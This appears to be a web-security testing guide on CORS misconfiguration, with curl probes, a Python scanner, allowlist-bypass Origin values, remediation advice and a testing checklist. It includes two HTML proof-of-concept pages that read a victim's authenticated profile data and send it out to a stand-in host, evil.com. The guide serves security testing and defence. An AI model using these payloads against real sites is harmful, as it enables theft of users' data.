Last reviewed

CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) misconfigurations can allow attackers to steal sensitive data, perform actions on behalf of users, and bypass same-origin policy protections.

⚠️ Why CORS Misconfigurations Are Dangerous

Data Theft: Attackers can read sensitive API responses (PII, tokens, financial data) from victim's authenticated session
Often Overlooked: Developers frequently misconfigure CORS to "make things work" during development and forget to harden for production
Chain Amplifier: CORS misconfigurations amplify the impact of XSS, open redirects, and CSRF attacks
API-Heavy Apps: Modern SPAs and microservices rely heavily on CORS, increasing attack surface

💡 Real-World Impact: CORS misconfigurations have led to account takeovers in major bug bounty programs including Uber, Facebook, and numerous financial applications.

CORS Fundamentals

CORS is a browser mechanism that allows controlled access to resources across different origins. It uses HTTP headers (Access-Control-Allow-Origin, Access-Control-Allow-Credentials) to tell the browser whether a cross-origin request should be allowed. Misconfiguration occurs when these headers are too permissive.

🛠️ CORS Testing Tools

CORScanner

Automated CORS misconfiguration scanner

pip install cors GitHub →

Corsy

CORS misconfiguration scanner by s0md3v

python3 corsy.py -u URL GitHub →

Burp Suite

Passive CORS detection via scanner

# Active + Passive scan Website →

Nuclei

Template-based CORS checks

nuclei -t cors/ GitHub →

curl

Manual CORS header testing

curl -sI -H "Origin: ..."

OWASP ZAP

Passive CORS alerts built-in

# Passive scan mode Website →

Understanding CORS Headers

Header Purpose Dangerous Values
Access-Control-Allow-Origin Specifies allowed origins * or reflected origin
Access-Control-Allow-Credentials Allows sending cookies/auth true with permissive ACAO
Access-Control-Allow-Methods Permitted HTTP methods PUT, DELETE, PATCH unnecessarily
Access-Control-Allow-Headers Permitted request headers * or Authorization
Access-Control-Expose-Headers Headers accessible to JS Sensitive headers exposed

1. Origin Reflection (Most Critical)

The server blindly reflects any Origin header value in the Access-Control-Allow-Origin response. Combined with Access-Control-Allow-Credentials: true, this allows full data theft.

bash
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# If both present → CRITICAL: Full authenticated data theft possible
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# If both present → CRITICAL: Full authenticated data theft possible

Exploitation PoC

html
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
  // This runs on attacker's site (evil.com)
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'  // Send victim's cookies
  })
  .then(response => response.json())
  .then(data => {
    // Exfiltrate the victim's data
    console.log('Stolen data:', JSON.stringify(data));
    
    // Send to attacker's server
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
  // This runs on attacker's site (evil.com)
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'  // Send victim's cookies
  })
  .then(response => response.json())
  .then(data => {
    // Exfiltrate the victim's data
    console.log('Stolen data:', JSON.stringify(data));
    
    // Send to attacker's server
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>

2. Null Origin Bypass

Some applications allowlist the null origin, which can be triggered from sandboxed iframes, data: URIs, and local file origins.

bash
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
html
<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="
<script>
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'
  })
  .then(r => r.json())
  .then(d => {
    // Origin will be 'null' from sandboxed iframe
    fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
  });
</script>
"></iframe>
<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="
<script>
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'
  })
  .then(r => r.json())
  .then(d => {
    // Origin will be 'null' from sandboxed iframe
    fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
  });
</script>
"></iframe>

3. Wildcard with Credentials

While browsers block Access-Control-Allow-Origin: * with credentials, some servers work around this by dynamically reflecting the origin when credentials are needed — creating the same vulnerability as origin reflection.

http
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# ↑ Browser will NOT send cookies with this

# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# ↑ Server dynamically reflects any origin to allow credentials
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# ↑ Browser will NOT send cookies with this

# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# ↑ Server dynamically reflects any origin to allow credentials

4. Regex & Allowlist Bypass

Many applications use regex or string-matching to validate origins. Poorly implemented checks can be bypassed.

http
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com

# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com

# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com

# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)

# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com

# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com

# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com

# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)

# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)

5. Pre-flight Request Handling

Complex requests trigger a preflight OPTIONS request. Mishandling of preflight can expose additional attack vectors.

bash
# Test preflight handling
curl -X OPTIONS -sI \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
  https://target.com/api/data

# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400  ← 24 hours, changes take effect slowly
# Test preflight handling
curl -X OPTIONS -sI \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
  https://target.com/api/data

# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400  ← 24 hours, changes take effect slowly

Automation Scripts

#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse

def test_cors(url):
    """Test for common CORS misconfigurations"""
    results = []
    parsed = urlparse(url)
    
    tests = [
        # Origin reflection
        {"Origin": "https://evil.com"},
        # Null origin
        {"Origin": "null"},
        # Subdomain matching bypass
        {"Origin": f"https://evil.{parsed.netloc}"},
        # Prefix match bypass
        {"Origin": f"https://{parsed.netloc}.evil.com"},
        # Scheme downgrade
        {"Origin": f"http://{parsed.netloc}"},
    ]
    
    for headers in tests:
        try:
            resp = requests.get(url, headers=headers, timeout=10)
            acao = resp.headers.get("Access-Control-Allow-Origin", "")
            acac = resp.headers.get("Access-Control-Allow-Credentials", "")
            
            if acao == headers["Origin"]:
                severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
                results.append({
                    "origin": headers["Origin"],
                    "reflected": acao,
                    "credentials": acac,
                    "severity": severity
                })
        except requests.RequestException as e:
            print(f"  [-] Error testing {headers}: {e}")
    
    return results

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
    print(f"[*] Testing CORS on: {target}")
    findings = test_cors(target)
    
    if findings:
        for f in findings:
            print(f"  [!] {f['severity']}: Origin '{f['origin']}' reflected")
            print(f"      ACAO: {f['reflected']}")
            print(f"      Credentials: {f['credentials']}")
    else:
        print("  [+] No CORS misconfigurations found")
#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse

def test_cors(url):
    """Test for common CORS misconfigurations"""
    results = []
    parsed = urlparse(url)
    
    tests = [
        # Origin reflection
        {"Origin": "https://evil.com"},
        # Null origin
        {"Origin": "null"},
        # Subdomain matching bypass
        {"Origin": f"https://evil.{parsed.netloc}"},
        # Prefix match bypass
        {"Origin": f"https://{parsed.netloc}.evil.com"},
        # Scheme downgrade
        {"Origin": f"http://{parsed.netloc}"},
    ]
    
    for headers in tests:
        try:
            resp = requests.get(url, headers=headers, timeout=10)
            acao = resp.headers.get("Access-Control-Allow-Origin", "")
            acac = resp.headers.get("Access-Control-Allow-Credentials", "")
            
            if acao == headers["Origin"]:
                severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
                results.append({
                    "origin": headers["Origin"],
                    "reflected": acao,
                    "credentials": acac,
                    "severity": severity
                })
        except requests.RequestException as e:
            print(f"  [-] Error testing {headers}: {e}")
    
    return results

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
    print(f"[*] Testing CORS on: {target}")
    findings = test_cors(target)
    
    if findings:
        for f in findings:
            print(f"  [!] {f['severity']}: Origin '{f['origin']}' reflected")
            print(f"      ACAO: {f['reflected']}")
            print(f"      Credentials: {f['credentials']}")
    else:
        print("  [+] No CORS misconfigurations found")

Bulk Testing with Nuclei

bash
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt

# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20

# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt

# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20

# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

High-Impact Exploitation Scenarios

💳 Account Data Theft

Steal user profile data, API keys, personal information, and payment details from authenticated API endpoints.

🔑 Token Extraction

Extract CSRF tokens, API keys, or session data from responses to chain with other attacks.

🔄 State-Changing Actions

Perform authenticated mutations (password change, email update, money transfer) if CORS allows methods and credentials.

🏗️ Internal Network Probing

Exploit CORS on internal applications to pivot from an XSS on a public app to internal API data theft.

🛡️ Remediation & Defense

Defensive Measures

Origin Validation

  • • Use a strict allowlist of permitted origins (exact string match)
  • • Never reflect the Origin header without validation
  • • Reject null origin unless specifically required
  • • Validate both scheme and hostname (don't allow HTTP for HTTPS sites)

Header Configuration

  • • Only set Access-Control-Allow-Credentials: true when absolutely needed
  • • Restrict Access-Control-Allow-Methods to minimum required
  • • Limit Access-Control-Expose-Headers to non-sensitive headers
  • • Use short Access-Control-Max-Age values for preflight caching

Architecture

  • • Implement CORS at the reverse proxy/gateway level for consistency
  • • Use server-side proxying instead of CORS where possible
  • • Audit CORS configuration regularly in CI/CD
  • • Add CORS checks to security testing pipeline

Monitoring

  • • Log cross-origin requests with credentials
  • • Alert on CORS requests from unexpected origins
  • • Monitor for CORS policy changes in production
  • • Test CORS configuration after deployments

CWE References: CWE-942 (Permissive Cross-domain Policy), CWE-346 (Origin Validation Error)

✅ CORS Testing Checklist

Origin Testing
  • ☐ Arbitrary origin reflection
  • ☐ Null origin acceptance
  • ☐ Subdomain-based bypass
  • ☐ Prefix/suffix matching flaws
  • ☐ Protocol downgrade (http→https)
Header Analysis
  • ☐ Credentials allowed with permissive ACAO
  • ☐ Wildcard methods allowed
  • ☐ Sensitive headers exposed
  • ☐ Preflight caching duration
  • ☐ Vary: Origin header present
Impact Assessment
  • ☐ Sensitive data readable cross-origin
  • ☐ State-changing actions possible
  • ☐ Token/credential extraction
  • ☐ Document PoC with evidence
  • ☐ Rate CVSS appropriately

🧪 Practice Labs

Evidence Collection

Origin Reflection: Capture the full HTTP request/response showing the server reflecting an attacker-controlled Origin in Access-Control-Allow-Origin along with Access-Control-Allow-Credentials: true.

Credential Inclusion: Demonstrate that cookies or Authorization headers are sent cross-origin by showing the browser's request with credentials and the server's permissive CORS response.

Data Exfiltration PoC: Create a proof-of-concept HTML page hosted on an attacker domain that reads sensitive data cross-origin — screenshot the stolen data rendered on the attacker page.

Null Origin Bypass: If the server trusts Origin: null, document the iframe sandbox or data: URI technique used to trigger it and the resulting data access.

CVSS Range: 5.3 (information disclosure without credentials) – 8.8 (full account takeover via credentialed cross-origin requests)

False Positive Identification

  • Public API by Design: APIs serving public data may intentionally use Access-Control-Allow-Origin: * — this is safe when no credentials are involved and responses contain no sensitive data.
  • No Credentials Flag: Wildcard origin without Access-Control-Allow-Credentials: true means cookies are never sent cross-origin — the risk is limited to public data leakage.
  • Preflight Blocked: If the server correctly rejects OPTIONS preflight requests from untrusted origins, the actual cross-origin request never executes despite permissive headers on simple requests.
  • Internal Network Only: CORS misconfigurations on internal-only APIs require the attacker to already have network access — assess whether the target is internet-facing before escalating severity.